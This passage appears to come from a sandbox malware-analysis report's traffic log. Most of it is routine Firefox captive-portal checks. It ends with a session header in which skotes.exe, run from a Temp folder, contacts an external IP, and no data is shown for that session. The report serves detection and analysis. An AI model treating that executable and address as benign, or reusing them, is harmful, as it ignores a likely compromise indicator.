Nov 19, 2024 22:10:49.843590975 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53155 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:10:50.009541988 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:10:50.100821972 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53156 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:10:50.199784994 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:10:50.290872097 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53156 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:10:50.463449001 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:10:50.555777073 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53156 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:10:55.259944916 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:10:55.351073980 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53161 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:11:05.403598070 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:11:05.561695099 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:11:05.652918100 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53171 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:11:10.749423027 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:11:10.840610981 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53176 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:11:19.371731043 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:11:19.462637901 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53185 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:11:19.679228067 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:11:19.770136118 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53185 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:11:26.024652004 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:11:26.115631104 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53192 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:11:36.198997021 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:11:46.296505928 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:11:54.477332115 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:11:54.568344116 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53220 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:12:04.597923994 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:12:06.320806026 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:12:06.411744118 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53232 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:12:16.502269030 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:12:26.594906092 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:12:27.599571943 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:12:37.692158937 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:12:47.803421021 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:12:48.889539003 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:13:26.710174084 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:13:26.801187992 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53312 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:13:54.803451061 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:13:54.894309998 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53340 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	50401	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:49.738600016 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:10:49.830795050 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 60991 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:10:49.925519943 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:10:50.021387100 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 60991 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:10:50.104758024 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:10:50.195888996 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 60992 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:10:50.294271946 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:10:50.385797977 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 60992 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:10:50.558871031 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:10:50.650430918 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 60992 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:10:55.353755951 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:10:55.457130909 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 60997 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:11:05.466835976 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:11:05.656205893 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:11:05.747097969 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 61007 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:11:10.843453884 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:11:10.935950041 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 61012 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:11:19.472539902 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:11:19.563430071 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 61021 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:11:19.779455900 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:11:19.870820999 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 61021 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:11:26.118871927 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:11:26.210752964 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 61028 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:11:36.259356976 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:11:46.356853008 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:11:54.573338032 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:11:54.664350033 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 61056 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:12:04.758795977 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:12:06.419323921 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:12:06.510201931 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 61068 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:12:16.562547922 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:12:26.657394886 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:12:27.659945011 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:12:37.752583027 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:12:47.863740921 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:12:48.949717045 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:13:26.805011034 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:13:26.896125078 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 61148 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:13:54.897978067 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:13:54.989564896 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 61176 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	50411	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
